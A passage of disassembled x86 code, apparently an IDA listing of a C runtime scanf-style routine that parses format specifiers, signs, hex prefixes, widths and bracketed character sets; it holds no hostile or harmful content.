		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
